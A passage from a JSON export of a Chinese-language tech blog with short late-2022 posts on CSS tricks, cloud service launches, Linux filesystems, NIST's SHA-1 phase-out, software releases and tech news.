    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://iamkate.com/code/tree-views/\">Tree views in css</a>」這篇，講怎麼用純 <a href=\"https://en.wikipedia.org/wiki/CSS\">CSS</a> 技巧達到可折疊的 tree view：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/jaQo0jG.webp\" /><img src=\"https://i.gslin.com/imgur/jaQo0jG.png\" alt=\"\" /></picture>\r\n\r\n主要是用了 <code>ul</code> 與 <code>li</code> 的 html 結構來搭建 tree view 的意義，再透過 <code>&lt;summary&gt;</code> 與 <code>&lt;details&gt;</code> 這兩個本身就有 toggle 能力的元素來操作展開與收合，後面就是 visual effects 的設計了。\r\n\r\n從 <a href=\"https://caniuse.com/\">Can I use</a> 這邊可以看到支援度沒什麼問題 (連 <a href=\"https://en.wikipedia.org/wiki/Android_(operating_system)\">Android</a> 4.4 的 WebView 都支援)，除非你還得跟 <a href=\"https://en.wikipedia.org/wiki/Internet_Explorer_11\">IE11</a> 奮戰：「<a href=\"https://caniuse.com/details\">Details &amp; Summary elements</a>」。",
    "title": "透過 CSS 達到可折疊的 tree view"
  },
  {
    "id": "10964",
    "body": "前幾天看到的，忘記是 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 還是哪邊了，可以直接拉旁邊的條件找出適合你的 <a href=\"https://en.wikipedia.org/wiki/Single-board_computer\">SBC</a>：「<a href=\"https://hackerboards.com/\">The Single Board Computer Database</a>」。\r\n\r\n像是這樣，如果我想要找個可以當 software router 的板子，我就拉幾個條件翻翻看 (像是至少兩個 ethernet 界面)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/aFpWGvE.webp\" /><img src=\"https://i.gslin.com/imgur/aFpWGvE.png\" alt=\"\" /></picture>\r\n\r\n不過看起來網站是 server side filtering，在桌機上操作會覺得有點慢，如果只有四百多片的話好像可以考慮 client side filtering...",
    "title": "方便設條件找 SBC (Single Board Computer) 的網站"
  },
  {
    "id": "10965",
    "body": "<a href=\"https://en.wikipedia.org/wiki/Elon_Musk\">Elon Musk</a> 自己貼了以後，有人把白板圖整理成數位圖後好讀一些：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Twitter Architecture 2022 vs. 2012. What’s changed over the past 10 years?<br><br>Thank you, <a href=\"https://twitter.com/elonmusk?ref_src=twsrc%5Etfw\">@elonmusk</a> for the transparency.<br><br>{1/2} <a href=\"https://t.co/Fvbn7EDoOS\">pic.twitter.com/Fvbn7EDoOS</a></p>&mdash; Alex Xu (@alexxubyte) <a href=\"https://twitter.com/alexxubyte/status/1594008281340530688?ref_src=twsrc%5Etfw\">November 19, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n不過心裡可以先有底，這是解釋給大老闆聽的架構圖，底層可能還會有不少東西是沒有在這上面的，尤其是其他重要的子系統，像是圖片與影音怎麼處理之類的。\r\n\r\n先把圖拉出來看原圖大小 (可以自己點)，比較清楚一點：\r\n\r\n<a href=\"https://i.gslin.com/imgur/Pe5CQHF.jpg\"><picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Pe5CQHF.webp\" /><img src=\"https://i.gslin.com/imgur/Pe5CQHF.jpg\" alt=\"\" /></picture></a>\r\n\r\n從最前端往後看，可以看到 TLS-API 被標成淘汰中，照圖上寫的剩下 <a href=\"https://en.wikipedia.org/wiki/Android_(operating_system)\">Android</a> 版本在用，後續應該是往 <a href=\"https://en.wikipedia.org/wiki/GraphQL\">GraphQL</a> 靠；另外內部有使用到 <a href=\"https://en.wikipedia.org/wiki/Apache_Thrift\">Thrift</a>，但沒有標 <a href=\"https://en.wikipedia.org/wiki/GRPC\">gRPC</a>，我猜是這邊的主線上沒有 gRPC 而已，其他系統可能還是會有。\r\n\r\n另外是有些東西有標 next-gen system，應該就是正在做而還沒上線的東西。",
    "title": "Twitter 的 2022 年架構 (?)"
  },
  {
    "id": "10967",
    "body": "<a href=\"https://tailscale.com/\">Tailscale</a> 也推出了類似 <a href=\"https://developers.cloudflare.com/cloudflare-one/connections/connect-apps/\">Cloudflare Tunnel</a> 的產品，叫做 <a href=\"https://tailscale.com/kb/1223/tailscale-funnel/\">Tailscale Funnel</a>：「<a href=\"https://tailscale.com/blog/introducing-tailscale-funnel/\">Introducing Tailscale Funnel</a>」。\r\n\r\n都是透過 server 本身主動連到 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 或是 Tailscale 的伺服器上，接著外部的 request 就可以繞進來了。\r\n\r\n不過 Tailscale Funnel 的定位跟 Cloudflare Tunnel 有些差異，看起來 Tailscale Funnel 比較偏向給 dev/stage 環境的用法，Cloudflare Tunnel 像是要跑在 production 的設計？\r\n\r\n目前是 alpha 階段，有些限制，像是目前能開的 port：\r\n\r\n<blockquote>The ports you can specify to expose your servers on are currently to 443, 8443 and 10000.</blockquote>\r\n\r\n另外從技術面上看起來一定得用 <a href=\"https://en.wikipedia.org/wiki/Transport_Layer_Security\">TLS</a> 連線，因為他得透過 TLS 的 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a> 資訊來決定是誰：\r\n\r\n<blockquote>We can only see the source IP and port, the SNI name, and the number of bytes passing through.</blockquote>\r\n\r\n對於已經有用 Tailscale 的使用者來說好像可以玩看看，但另外一點是 Cloudflare 的機房密度很高，這點可能是 Tailscale 也要想一下的問題？",
    "title": "Tailscale 也推出類似 Cloudflare Tunnel 的產品，Tailscale Funnel"
  },
  {
    "id": "10968",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的消息，<a href=\"https://en.wikipedia.org/wiki/Fred_Brooks\">Fred Brooks</a> 過世了：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">Sad news from <a href=\"https://twitter.com/unccs?ref_src=twsrc%5Etfw\">@unccs</a> — Fred P. Brooks, the founder and long-time chair of the department (and a major influence on my professional outlook) passed away a few hours ago.</p>&mdash; Steven M. Bellovin (@SteveBellovin) <a href=\"https://twitter.com/SteveBellovin/status/1593414068634734592?ref_src=twsrc%5Etfw\">November 18, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論在「<a href=\"https://news.ycombinator.com/item?id=33649390\">Fred Brooks has died (twitter.com/stevebellovin)</a>」這邊可以翻。\r\n\r\nFred Brooks 是 1999 年的 <a href=\"https://en.wikipedia.org/wiki/Turing_Award\">Turing Award</a> 得主：\r\n\r\n<blockquote>For landmark contributions to computer architecture, operating systems, and software engineering.</blockquote>\r\n\r\n不過在電腦軟體產業裡，用他另外一個被廣為人知的作品來介紹會比較快，軟體工程的經典書籍「<a href=\"https://zh.wikipedia.org/wiki/%E4%BA%BA%E6%9C%88%E7%A5%9E%E8%AF%9D\">人月神話</a> (<a href=\"https://en.wikipedia.org/wiki/The_Mythical_Man-Month\">The Mythical Man-Month</a>) (MMM)」的作者，從 Hacker News 的討論串裡面也可以看到很多對 MMM 的討論。",
    "title": "Fred Brooks 過世"
  },
  {
    "id": "10969",
    "body": "<a href=\"https://www.tumblr.com/\">Tumblr</a> 現在的老大 <a href=\"https://en.wikipedia.org/wiki/Matt_Mullenweg\">Matt Mullenweg</a> 在 <a href=\"https://twitter.com/\">Twitter</a> 上提到了 Tumblr 打算要支援 <a href=\"https://en.wikipedia.org/wiki/ActivityPub\">ActivityPub</a> 的消息：\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">We are mostly dealing with the waves of new users right now and keeping everything scaling but interop and activitypub are ASAP.</p>&mdash; Matt Mullenweg (@photomatt) <a href=\"https://twitter.com/photomatt/status/1594587024245260289?ref_src=twsrc%5Etfw\">November 21, 2022</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n如果支援的話，對於 ActivityPub 這個圈子會是個大消息，等於是有個大平台跳進去支援...",
    "title": "Tumblr 打算要支援 ActivityPub"
  },
  {
    "id": "10970",
    "body": "前幾天在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=33693411\">Show HN: A color picker for named web colors (arantius.github.io)</a>」這個作品，把 <a href=\"https://en.wikipedia.org/wiki/CSS\">CSS</a> 裡面有名字的顏色都呈現出來：「<a href=\"https://arantius.github.io/web-color-wheel/\">Named Colors Wheel</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gWnwhyK.webp\" /><img src=\"https://i.gslin.com/imgur/gWnwhyK.png\" alt=\"\" /></picture>\r\n\r\n移動上去可以看到每個顏色在 CSS 被定義的名稱與色碼，另外從 html code 裡面可以看到他參考了「<a href=\"https://developer.mozilla.org/en-US/docs/Web/CSS/named-color\">&lt;named-color&gt;</a>」這份資料。\r\n\r\n另外在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的這則留言也讓我笑的蠻開心的，<code>greenyellow</code> (在黃色 <code>yellow</code> 的左邊) 與 <code>yellowgreen</code> (在 <code>greenyellow</code> 的右上) 的差異：\r\n\r\n<blockquote>Also: Finally, a tool to help me decide between greenyellow and yellowgreen.</blockquote>\r\n\r\n另外看到這種圖會讓我想到四色定理 (<a href=\"https://en.wikipedia.org/wiki/Four_color_theorem\">Four color theorem</a>)，不過跟這個主題沒什麼關係就是了...",
    "title": "把所有在 CSS 裡面「有名字」的顏色都呈現出來"
  },
  {
    "id": "10971",
    "body": "在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=33738462\">“You don't have a voltmeter. Do you have a potato?” (diy.stackexchange.com)</a>」這則討論，原討論在「<a href=\"https://diy.stackexchange.com/questions/252038/is-white-wire-with-grey-stripes-positive-or-negative-wire/252050?newreg=0f1dd7d64f9a462fadc0bae6537bf72d\">Is white wire with grey stripes positive or negative wire?</a>」這邊，有人問了一個問題，說手上有一個交流轉直流的變壓器，想要重新接線到下面這種端子，但不確定變壓器輸出的兩條線裡面，正極與負極分別是哪條：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ryhcOEc.webp\" /><img src=\"https://i.gslin.com/imgur/ryhcOEc.jpg\" alt=\"\" /></picture>\r\n\r\n下面的答案很厲害啊，開頭先說如果你沒有伏特計 (像是三用電錶)，那手上有沒有馬鈴薯：\r\n\r\n<blockquote>You don't have a voltmeter. Do you have a potato?</blockquote>\r\n\r\n把馬鈴薯切半，把 DC 端的兩條線插到同一顆馬鈴薯上面，大約相距 2cm，插電不久後就可以看到有一端會變綠，那端就是正極，把本來插到馬鈴薯上的端子剪掉後再接線就可以了：\r\n\r\n<blockquote>With the power adapter unplugged from your electrical outlet, cut the wires, strip a little insulation from the ends, twist the strands of each wire into a point. Do not allow the bare wires to touch each other from this point on.\r\n\r\nCut the potato in half. Take one half, and poke both wires into the cut face of the potato about 2 cm apart. Plug in the power adapter to the wall outlet. In a short time, the potato around one of the wires will turn green. That is the positive wire.\r\n\r\nUnplug the adapter and clip off the ends of the wires so you have clean wire for soldering your new plug.</blockquote>\r\n\r\n不確定產生的是不是銅綠，但能給出這種解法的確很有娛樂性 XDDD",
    "title": "用馬鈴薯判斷電極的正負..."
  },
  {
    "id": "10972",
    "body": "一樣是在 <a href=\"https://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上撈到的，這是一則 2020 就公開的專案，可以用 3D 印表機做出一個小零件，修復卡榫壞掉的 <a href=\"https://en.wikipedia.org/wiki/RJ45\">RJ45</a> 接頭：「<a href=\"https://www.thingiverse.com/thing:4687836\">Ethernet | RJ45 clip to secure/repair/fix broken tab</a>」。\r\n\r\n長這樣：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4YLYQLh.webp\" /><img src=\"https://i.gslin.com/imgur/4YLYQLh.png\" alt=\"\" /></picture>\r\n\r\n然後用起來是這樣：\r\n\r\n<img src=\"https://i.gslin.com/imgur/lofroym.gif\" alt=\"\" />\r\n\r\n不過 comments 裡面有些人有提到，不是每種 RJ45 的頭都符合能用，每家的大小還是不太一樣，真的遇到還是要自己拿回去修修改改，但這個想法還蠻有趣的，用個額外的小玩意幫忙卡住 RJ45 的接口...\r\n\r\n同樣的方式馬上可以想到其他類似的接頭 (像是電話線用的 4P4C)，其他的線好像比較沒有這個困擾？可能是 <a href=\"https://en.wikipedia.org/wiki/HDMI\">HDMI</a> 跟 <a href=\"https://en.wikipedia.org/wiki/DisplayPort\">DisplayPort</a> 的頭在設計上應該就有考慮到，比較耐操的關係？",
    "title": "用 3D 印表機修復卡榫故障的 RJ45 接頭"
  },
  {
    "id": "10974",
    "body": "今年 <a href=\"https://aws.amazon.com/\">AWS</a> 的 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 又開始了，這一個禮拜會冒出蠻多新功能的，挑自己覺得比較有興趣得來寫。\r\n\r\nAWS 針對 <a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 推出 Lambda SnapStart，改善冷啟動的速度：「<a href=\"https://aws.amazon.com/blogs/aws/new-accelerate-your-lambda-functions-with-lambda-snapstart/\">New – Accelerate Your Lambda Functions with Lambda SnapStart</a>」。\r\n\r\n他拿了一個比較明顯的例子，<a href=\"https://www.java.com/\">Java</a> 的 <a href=\"https://spring.io/projects/spring-boot\">Spring Boot</a>，範例在「<a href=\"https://github.com/awslabs/aws-serverless-java-container/tree/main/samples/springboot2/pet-store\">Serverless Spring Boot 2 example</a>」這邊，冷啟動的速度可以從 6 秒降到 200ms：\r\n\r\n<blockquote>SnapStart has reduced the cold start duration from over 6 seconds to less than 200 ms.</blockquote>\r\n\r\n方法就是把 initialization 的程式完成後的記憶體打一份 snapshot 存起來，之後的冷啟動第一動變成是 restore 而非再 initialize：\r\n\r\n<blockquote>With SnapStart, the initialization phase (represented by the Init duration that I showed you earlier) happens when I publish a new version of the function. When I invoke a function that has SnapStart enabled, Lambda restores the snapshot (represented by the Restore duration) before invoking the function handler. As a result, the total cold invoke with SnapStart is now Restore duration + Duration.</blockquote>\r\n\r\n不過不是所有的應用程式都可以直接套用，有些要注意的地方，比較好理解的是連線 (像是對後端資料庫的預連線) 以及暫存檔的部份 (像是預先算好某些資料後寫到暫存檔) 都需要重新建立。\r\n\r\n比較特別的是亂數產生器需要重新 initialize，不然會有機率產生出一樣的 random data，這個是一般開發者會忽略掉的：\r\n\r\n<blockquote>When using SnapStart, any unique content that used to be generated during the initialization must now be generated after initialization in order to maintain uniqueness.</blockquote>\r\n\r\n所以 AWS 有針對 SnapStart 下的 <a href=\"https://www.openssl.org/\">OpenSSL</a> 修正，另外外他們也確認過 Java 的 java.security.SecureRandom 本身就沒問題：\r\n\r\n<blockquote>We have updated OpenSSL’s RAND_Bytes to ensure randomness when used in conjunction with SnapStart, and we have verified that java.security.SecureRandom is already snap-resilient.</blockquote>\r\n\r\n另外 AWS 也推薦可以直接讀系統的 <code>/dev/random</code> 或是 <code>/dev/urandom</code>，這樣就很自然的不會因為 snapshot 而固定，當然也就沒問題：\r\n\r\n<blockquote>Amazon Linux’s /dev/random and /dev/urandom are also snap-resilient.</blockquote>\r\n\r\n這個功能說不用另外收費，看起來對 Java 族群還不錯？",
    "title": "AWS 推出加速 Lambda 啟動速度的 Lambda SnapStart"
  },
  {
    "id": "10975",
    "body": "這次 <a href=\"https://reinvent.awsevents.com/\">re:Invent</a> 關於 Amazon EFS 推出來的新東西，目前有看到兩個，第一個是「<a href=\"https://aws.amazon.com/blogs/aws/new-announcing-amazon-efs-elastic-throughput/\">New – Announcing Amazon EFS Elastic Throughput</a>」，介紹 Elastic Throughput。\r\n\r\n傳統的 Busrting Throughput 模式會依照你的使用空間分配對應的速度，基礎是 50MB/sec per TB 計算，但可以 burst 到 100MB/sec per TB：\r\n\r\n<blockquote>When burst credits are available, a file system can drive throughput up to 100 MiBps per TiB of storage, up to the Amazon EFS Region's limit, with a minimum of 100 MiBps. If no burst credits are available, a file system can drive up to 50 MiBps per TiB of storage, with a minimum of 1 MiBps.</blockquote>\r\n\r\n而 Elastic Throughput 是一種高效能的模式，可以提供 3GB/sec 的讀取速度與 1GB/sec 的寫入速度：\r\n\r\n<blockquote>Elastic Throughput allows you to drive throughput up to a limit of 3 GiB/s for read operations and 1 GiB/s for write operations per file system in all Regions.</blockquote>\r\n\r\n但這然是有代價的，Elastic Throughput 的計費方式按照傳輸量計算，以 <code>us-east-1</code> 的計價來說，讀取是 $0.03/GB，寫入是 $0.06/GB。\r\n\r\n粗粗算了一下，比較適合短時間要很大量快速讀寫的應用。如果是不在意時間的 (像是 cron job) 就不需要 Elastic Throughput... 然後 home 目錄拿來用可能是個不錯的選擇？\r\n\r\n第二個推出的項目是不用錢的，是 Amazon EFS 效能的改進，降低 latency：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2022/11/aws-announces-lower-latencies-amazon-elastic-file-system/\">AWS announces lower latencies for Amazon Elastic File System</a>」。\r\n\r\n首先是讀取的效能提昇，以敘述看起來像是加上了 cache 層產生的效能改進：\r\n\r\n<blockquote>Amazon EFS now delivers up to 60% lower read operation latencies when working with frequently-accessed data and metadata.</blockquote>\r\n\r\n另外是對小檔寫入有做處理：\r\n\r\n<blockquote>In addition, EFS now delivers up to 40% lower write operation latencies when working with small files (&lt;64 KB) and metadata.</blockquote>\r\n\r\n不過這些改進只有在新的 EFS 才會有，而且這波只有 <code>us-east-1</code> 上：\r\n\r\n<blockquote>These enhancements are available automatically for all new EFS file systems using General Purpose mode in the US East (N. Virginia) Region, and will become available in the remaining AWS commercial regions over the coming weeks.</blockquote>",
    "title": "這次 Amazon EFS 兩個新推出的項目：Elastic Throughput 與更低的 latency"
  },
  {
    "id": "10976",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 寫了一篇很長的漲價公告：「<a href=\"https://blog.cloudflare.com/adjusting-pricing-introducing-annual-plans-and-accelerating-innovation/\">Adjusting pricing, introducing annual plans, and accelerating innovation</a>」。\r\n\r\n25% 的漲幅，本來的 Pro Plan 從 $20/mo 漲到 $25/mo，本來的 Business Plan 從 $200/mo 漲到 $250/mo：\r\n\r\n<blockquote>Cloudflare is raising prices for the first time in the last 12 years. Beginning January 15, 2023, new sign-ups will be charged $25 per month for our Pro Plan (up from $20 per month) and $250 per month for our Business Plan (up from $200 per month). Any paying customers who sign up before January 15, 2023, including any currently paying customers who signed up at any point over the last 12 years, will be grandfathered at the old monthly price until May 14, 2023.</blockquote>\r\n\r\n然後丟出年費方案，就跟原來的月費方案寄算十二個月一樣的價錢 ($240/y 與 $2400/y)：\r\n\r\n<blockquote>We are also introducing an option to pay annually, rather than monthly, that we hope most customers will choose to switch to. Annual plans are available today and discounted from the new monthly rate to $240 per year for the Pro Plan (the equivalent of $20 per month, saving $60 per year) and $2,400 per year for the Business Plan (the equivalent of $200 per month, saving $600 per year). In other words, if you choose to pay annually for Cloudflare you can lock in our old monthly prices.</blockquote>\r\n\r\n後面就是很長的解釋...",
    "title": "Cloudflare 宣佈漲價"
  },
  {
    "id": "10977",
    "body": "<a href=\"https://www.mozilla.org/\">Mozilla</a> 推出了「<a href=\"https://addons.mozilla.org/en-US/firefox/addon/firefox-translations/\">Firefox Translations</a>」這個 <a href=\"https://www.mozilla.org/firefox/\">Firefox</a> 上的套件。\r\n\r\n主打的就是 offline 這件事情，保有隱私性：\r\n\r\n<blockquote>Firefox Translations provides automated translation of web content. Unlike cloud-based alternatives, translation is done locally, on the client-side, so that the text being translated does not leave your machine.</blockquote>\r\n\r\n從 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論「<a href=\"https://news.ycombinator.com/item?id=33792447\">Firefox Translations: Translate websites in your browser without using the cloud (addons.mozilla.org)</a>」可以看到有些人有提到效果，雖然沒有像雲端服務的準確，但算是可用：\r\n\r\n<blockquote>I've just installed it, and I'm impressed so far. I've only run it against some sample German Wikipedia articles (https://de.wikipedia.org/wiki/Clan_of_Xymox), but it produces surprisingly readable text. I also particularly like the \"highlight potential errors\" option to flag stuff that even the translation service thinks might be a bit off.\r\n\r\nIt's not nearly as speedy as Google Translate, but I'll take that happily if it means keeping it local.</blockquote>\r\n\r\n從頁面上列出的支援語言可以看出還是以歐美用到的語系為主，然後下方也有說明這個專案是包括其他計畫的贊助累積出來的：\r\n\r\n<blockquote>Firefox Translations was developed with The Bergamot Project Consortium, coordinated by the University of Edinburgh with partners Charles University in Prague, the University of Sheffield, University of Tartu, and Mozilla. This project has received funding from the European Union’s Horizon 2020 research and innovation programme under grant agreement No 825303.</blockquote>\r\n\r\n不過比較好奇的是在頁面上有提到 CPU 需要 <a href=\"https://en.wikipedia.org/wiki/SSE4.1\">SSE4.1</a> 能力... 這樣就有兩個問題了，第一個是 browser extension 可以直接跑 SSE4.1 指令集？另外一個疑問就是，<a href=\"https://www.apple.com/\">Apple</a> 的 <a href=\"https://www.arm.com/\">ARM</a> 架構就無法支援嗎 (應該也有類似的加速指令集)，現在是 <a href=\"https://en.wikipedia.org/wiki/X86\">x86</a> 限定？\r\n\r\n<blockquote>A CPU that supports SSE4.1 extensions is required for this addon to function properly. If it doesn't, an error will be displayed when the translation is being started.</blockquote>\r\n\r\n就算現在限制很多，看起來還是個很有前途的計畫，也許有機會移植到其他瀏覽器上？",
    "title": "Mozilla 推出在本地端直接翻譯的 Firefox Translations"
  },
  {
    "id": "10978",
    "body": "<a href=\"https://en.wikipedia.org/wiki/JQuery\">jQuery</a> 的發明人 <a href=\"https://en.wikipedia.org/wiki/John_Resig\">John Resig</a> 已經超久沒更新 blog 了，雖然有訂起來但沒想到會看到他更新：「<a href=\"https://johnresig.com/blog/twitter-mastodon/\">Twitter vs. Mastodon</a>」。上次的更新是 2016 年初，快七年了。\r\n\r\n基本上裡面就是解釋 <a href=\"https://twitter.com/\">Twitter</a> 與 <a href=\"https://en.wikipedia.org/wiki/Mastodon_(software)\">Mastodon</a> 的差異，然後順便介紹他自己的 Mastodon 帳號。\r\n\r\n不過目前看了一輪，<a href=\"https://en.wikipedia.org/wiki/ActivityPub\">ActivityPub</a> 的各種實做還是離理想差了一截，可能會先繼續龜著...",
    "title": "難得看到 John Resig 的 Blog 更新，在講 Mastodon"
  },
  {
    "id": "10986",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://en.wikipedia.org/wiki/Btrfs\">Btrfs</a> 的改善消息：「<a href=\"https://www.phoronix.com/news/Linux-6.2-Btrfs-EXT4\">Btrfs With Linux 6.2 Bringing Performance Improvements, Better RAID 5/6 Reliability</a>」，對應的討論在「\t<a href=\"https://news.ycombinator.com/item?id=33961106\">Btrfs in Linux 6.2 brings performance improvements, better RAID 5/6 reliability (phoronix.com)</a>」這邊。\r\n\r\n因為 <a href=\"https://en.wikipedia.org/wiki/Ext4\">ext4</a> 本身很成熟了，加上特殊的需求反而會去用 <a href=\"https://en.wikipedia.org/wiki/OpenZFS\">OpenZFS</a>，就很久沒關注 Btrfs 了，這次看到 Btrfs 在 Linux 6.2 上的改進剛好可以重顧一下情況。\r\n\r\n看起來是針對 <a href=\"https://en.wikipedia.org/wiki/RAID\">RAID</a> 模式下的改善，包括穩定性與效能，不過看起來是針對 RAID5 的部份多一點。\r\n\r\n就目前的「情勢」看起來，Btrfs 之所以還是有繼續被發展，主要還是因為 OpenZFS 的授權條款是 <a href=\"https://en.wikipedia.org/wiki/Common_Development_and_Distribution_License\">CDDL</a>，與 Linux kernel 用的 <a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\">GPL</a>v2 不相容，所以得分開維護。\r\n\r\n但 OpenZFS 這邊的功能性與成熟度還是比 Btrfs 好不少，以現階段來說，如果架構上可以設計放 OpenZFS 的話應該還是會放 OpenZFS...",
    "title": "Linux 6.2 的 Btrfs 改進"
  },
  {
    "id": "10988",
    "body": "<a href=\"https://www.backblaze.com/\">Backblaze</a> 宣佈有 US East 區域了：「<a href=\"https://www.backblaze.com/blog/backblaze-adds-us-east-region-expanding-location-choices-and-cloud-replication-options/\">Backblaze Adds US East Region, Expanding Location Choices and Cloud Replication Options</a>」。\r\n\r\n從圖可以看到本來是 US West + EU Central，當初開歐洲區比較像是歐洲客戶會需要遵守歐盟規範之類的需求，但這次宣佈美國開第二個區域，應該是代表規模夠足夠大到可以開第二區了？\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OQjUu6c.webp\" /><img src=\"https://i.gslin.com/imgur/OQjUu6c.png\" alt=\"\" /></picture>\r\n\r\n機房在維吉尼亞州：\r\n\r\n<blockquote>Data stored in U.S. East will reside in Backblaze’s newest data center, IAD 1, located in Reston, Virginia.</blockquote>\r\n\r\n這樣算是不錯的訊號？",
    "title": "Backblaze 開 US East 區域"
  },
  {
    "id": "10989",
    "body": "看到 <a href=\"https://jquery.com/\">jQuery</a> 出新版的消息：「<a href=\"https://blog.jquery.com/2022/12/13/jquery-3-6-2-released/\">jQuery 3.6.2 Released!</a>」。\r\n\r\n這個版本的說明裡面針對了 <code>:has()</code> 這個功能著墨，主要還是因為這功能 jQuery 支援很久了，而 <a href=\"https://www.chromium.org/\">Chromium</a> 與 <a href=\"https://www.apple.com/safari/\">Safai</a> 在最近都開始支援了：「<a href=\"https://bugs.chromium.org/p/chromium/issues/detail?id=669058\">Issue 669058: CSS selectors Level 4: support :has()</a>」、「<a href=\"https://webkit.org/blog/13096/css-has-pseudo-class/\">Using :has() as a CSS Parent Selector and much more</a>」。\r\n\r\n不過看起來 jQuery 要整合原生的 <code>:has()</code> 還是有技術困難，因為裡面可能會包括 jQuery 自己定義的 selector extension：\r\n\r\n<blockquote>That was problematic in cases where :has() contained another jQuery selector extension (e.g. :has(:contains(\"Item\"))) or contained itself (:has(div:has(a))).</blockquote>\r\n\r\n總之，難得又看到 jQuery 的消息... 前一版的 3.6.1 是 2022/08/26，而 3.6.0 則是再一年多前的 2021/03/02，再往前面是 3.5.1 的 2020/05/04 與 3.5.0 的 2020/04/10。\r\n\r\n是個歷史...",
    "title": "jQuery 3.6.2"
  },
  {
    "id": "10990",
    "body": "<a href=\"https://www.nist.gov/\">NIST</a> 對 <a href=\"https://en.wikipedia.org/wiki/SHA-1\">SHA-1</a> 的新的淘汰計畫出來了：「<a href=\"https://www.nist.gov/news-events/news/2022/12/nist-retires-sha-1-cryptographic-algorithm\">NIST Retires SHA-1 Cryptographic Algorithm</a>」。\r\n\r\n先前 NIST 在 2004 年時是計畫在 2010 年淘汰掉 SHA-1，在「<a href=\"https://csrc.nist.gov/News/2004/NIST-Brief-Comments-on-Recent-Cryptanalytic-Attack\">NIST Brief Comments on Recent Cryptanalytic Attacks on Secure Hashing Functions and the Continued Security Provided by SHA-1</a>」這邊可以看到當時的宣佈：\r\n\r\n<blockquote>The results presented so far on SHA-1 do not call its security into question. However, due to advances in technology, NIST plans to phase out of SHA-1 in favor of the larger and stronger hash functions (SHA-224, SHA-256, SHA-384 and SHA-512) by 2010.</blockquote>\r\n\r\n但看起來當時沒有強制性，所以事情就是一直拖一直延期，中間經過了 2017 年 <a href=\"https://www.google.com/\">Google</a> 與 <a href=\"https://www.cwi.nl/\">CWI Amsterdam</a> 展示的 SHA-1 collision：「<a href=\"https://blog.gslin.org/archives/2017/02/23/7139/google-%e8%88%87-cwi-amsterdam-%e5%90%88%e4%bd%9c%ef%bc%8c%e6%89%be%e5%88%b0-sha-1-%e7%ac%ac%e4%b8%80%e5%80%8b-collision/\">Google 與 CWI Amsterdam 合作，找到 SHA-1 第一個 collision</a>」。\r\n\r\n以及 2020 年時的進展與分析，發現 chosen-prefix collision 已經是可行等級了：「<a href=\"https://blog.gslin.org/archives/2020/01/20/9375/sha-1-%e7%9a%84-chosen-prefix-collision-%e4%bd%8e%e6%96%bc-264-%e4%ba%86/\">SHA-1 的 chosen-prefix collision 低於 2^64 了...</a>」。\r\n\r\n然後 NIST 總算是想起來要更新 phase out 的計畫，現在最新的計畫是在 2030 年年底淘汰掉 SHA-1：\r\n\r\n<blockquote>As today’s increasingly powerful computers are able to attack the algorithm, NIST is announcing that SHA-1 should be phased out by Dec. 31, 2030, in favor of the more secure SHA-2 and SHA-3 groups of algorithms.</blockquote>\r\n\r\n這次就有一些強制的規範了，包括採購的部份：\r\n\r\n<blockquote>“Modules that still use SHA-1 after 2030 will not be permitted for purchase by the federal government,” Celi said.</blockquote>\r\n\r\n但 2030 年聽起來還是有點慢...",
    "title": "NIST 更新了 SHA-1 的淘汰計畫"
  },
  {
    "id": "10991",
    "body": "看到「<a href=\"https://alexxcons.github.io/blogpost_8.html\">Xfce 4.18 released</a>」這個消息，可以放一個月讓 bug 飛一飛改一改再來更新...\r\n\r\n看起來 thunar (Xfce 的檔案總管？) 改了不少東西，可以看到花了很多篇幅在介紹。看起來對我來說最有改變的是 undo 與 redo 的部份：\r\n\r\n<blockquote>It is now possible to undo basic file operations and to redo them. Undo and Redo can be used for 'move', 'rename', 'trash', 'link' and 'create' operations. Per default, a history of the last 10 operations is stored, though the history length is configurable. Whenever an Undo/Redo is triggered, a notification with few details will be shown.</blockquote>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/4dPJaXb.webp\" /><img src=\"https://i.gslin.com/imgur/4dPJaXb.png\" alt=\"\" /></picture>\r\n\r\n其他的應該是還好...",
    "title": "Xfce 4.18 出版"
  },
  {
    "id": "10992",
